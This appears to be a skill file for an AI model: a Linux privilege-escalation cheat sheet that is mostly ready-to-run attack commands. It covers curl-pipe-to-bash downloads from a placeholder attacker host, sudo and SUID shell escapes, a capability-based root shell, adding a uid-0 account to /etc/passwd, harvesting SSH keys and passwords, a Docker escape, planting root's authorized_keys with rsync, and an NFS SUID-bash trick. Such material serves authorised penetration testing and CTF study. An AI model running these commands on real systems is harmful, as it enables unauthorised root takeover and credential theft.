linux-privilege-escalation

name	Linux Privilege Escalation
description	This skill should be used when the user asks about "Linux privilege escalation", "linpeas", "SUID", "sudo abuse", "GTFOBins", "kernel exploits", "cron jobs", "capabilities", or needs guidance on escalating privileges on Linux systems.
version	1.0.0

Linux Privilege Escalation Skill

Overview

Techniques for escalating privileges from a low-privileged user to root on Linux systems.

Automated Enumeration

LinPEAS

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output
./linpeas.sh -a 2>&1 | tee linpeas.txt

# Focus on colors:
# RED/YELLOW = 95% PE vector
# RED = Possible PE vector
# CYAN = Files with interesting permissions

LinEnum

curl http://<ATTACKER>/LinEnum.sh | bash

Linux Smart Enumeration (LSE)

curl http://<ATTACKER>/lse.sh | bash -s -- -l 2

Manual Enumeration Checklist

1. User Information

id                      # Current user and groups
whoami                  # Username
groups                  # Group memberships
cat /etc/passwd         # All users
cat /etc/group          # All groups
last                    # Login history
w                       # Who is logged in

2. Sudo Permissions

sudo -l                 # What can we run as sudo?

Common Sudo Exploits (GTFOBins):

Binary	Exploit
vim	sudo vim -c '!sh'
less	sudo less /etc/passwd then !sh
find	sudo find / -exec /bin/sh \;
awk	sudo awk 'BEGIN {system("/bin/sh")}'
nmap	sudo nmap --interactive then !sh
python	sudo python -c 'import pty;pty.spawn("/bin/sh")'
perl	sudo perl -e 'exec "/bin/sh";'
ruby	sudo ruby -e 'exec "/bin/sh"'
env	sudo env /bin/sh
ftp	sudo ftp then !sh

3. SUID Binaries

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Check against GTFOBins for each binary found

Common exploitable SUID binaries:

• /usr/bin/find
• /usr/bin/vim
• /usr/bin/python
• /usr/bin/perl
• /usr/bin/nmap
• /usr/bin/less
• /usr/bin/awk

4. Capabilities

getcap -r / 2>/dev/null

Exploitable Capabilities:

Capability	Exploit
cap_setuid	python3 -c 'import os;os.setuid(0);os.execv("/bin/sh",["sh"])'
cap_net_raw	Packet sniffing
cap_dac_override	Read any file
cap_sys_admin	Mount filesystems

5. Cron Jobs

cat /etc/crontab
cat /etc/cron.d/*
cat /var/spool/cron/crontabs/*
ls -la /etc/cron.*

# Monitor for running cron
# Use pspy: https://github.com/DominicBreuker/pspy
./pspy64

Cron Exploitation:

• Writable script in cron
• Wildcard injection
• PATH manipulation

6. Writable Files

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# Writable directories
find / -writable -type d 2>/dev/null

# Writable /etc/passwd
ls -la /etc/passwd

If /etc/passwd is writable:

# Generate hash
openssl passwd -1 -salt xyz password123

# Add root user
echo 'newroot:$1$xyz$...:0:0::/root:/bin/bash' >> /etc/passwd
su newroot

7. SSH Keys

find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa

8. Passwords and Credentials

# History files
cat ~/.bash_history
cat ~/.zsh_history

# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /home/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# MySQL credentials
cat /var/www/*/wp-config.php
cat /var/www/*/.env

9. Kernel Version

uname -a
uname -r
cat /etc/os-release

Common Kernel Exploits:

Kernel	CVE	Name
< 4.8.3	CVE-2016-5195	DirtyCow
5.8 - 5.16.11	CVE-2022-0847	DirtyPipe
4.4 - 4.13	CVE-2017-16995	EBPF

10. Processes Running as Root

ps aux | grep root
ps -ef | grep root

Look for:

• Custom scripts
• Services with known vulnerabilities
• Cron jobs

11. Network Services

netstat -tulpn
ss -tulpn
cat /etc/services

Internal services may be exploitable:

• MySQL running locally
• Redis without auth
• Docker socket

12. Docker/LXC

# Check if in docker
cat /proc/1/cgroup | grep docker

# Check docker socket
ls -la /var/run/docker.sock

# Docker group membership
groups | grep docker

Docker Escape:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

13. Backup Tool Abuse

# Check sudo -l for backup/restore tools
sudo -l | grep -iE "backup|restore|restic|borg|duplicity|tar|zip|7z"

Pattern: Backup tools with sudo can read/write arbitrary files.

Tool	Read Files	Write Files
restic	sudo restic backup /root -r /tmp/repo then restore	Restore to arbitrary path
borg	sudo borg create /tmp/repo::test /root then extract	Extract to arbitrary path
tar	sudo tar -cf /tmp/root.tar /root	sudo tar -xf archive.tar -C /
zip/unzip	sudo zip -r /tmp/root.zip /root	sudo unzip file.zip -d /
rsync	sudo rsync -a /root/ /tmp/	sudo rsync -a /tmp/payload /root/
duplicity	Backup then restore	Restore to arbitrary path

Exploitation Examples:

# Read /root/.ssh/id_rsa with tar
sudo tar -cf /tmp/root.tar /root/.ssh/id_rsa
tar -xf /tmp/root.tar -C /tmp/
cat /tmp/root/.ssh/id_rsa

# Read root.txt with any backup tool
# 1. Backup the target file
# 2. Extract/restore to readable location
# 3. Read the content

# Write authorized_keys with rsync
echo "ssh-rsa YOUR_KEY..." > /tmp/authorized_keys
sudo rsync /tmp/authorized_keys /root/.ssh/authorized_keys
ssh root@localhost

Key Indicators:

• sudo permissions on backup utilities
• Backup config files with paths
• Custom backup scripts in /usr/local/bin

14. NFS

cat /etc/exports
showmount -e <TARGET>

If no_root_squash:

# On attacker machine
mkdir /tmp/nfs
mount -t nfs <TARGET>:/share /tmp/nfs
cd /tmp/nfs
cp /bin/bash .
chmod +s bash
# On target
./bash -p

Kernel Exploit Workflow

1. Identify kernel version: uname -r
2. Search for exploits: searchsploit linux kernel <version>
3. Download and compile on target or similar system
4. Transfer and execute

Quick Reference

# Priority Order
1. sudo -l (check GTFOBins + backup tools)
2. SUID binaries (check GTFOBins)
3. Capabilities
4. Cron jobs
5. Writable files (/etc/passwd)
6. Backup tools with sudo (restic, borg, tar, rsync)
7. Passwords in files
8. SSH keys
9. Docker/LXC escape
10. Kernel exploits (last resort)

Resources

• GTFOBins: https://gtfobins.github.io/
• LinPEAS: https://github.com/carlospolop/PEASS-ng
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings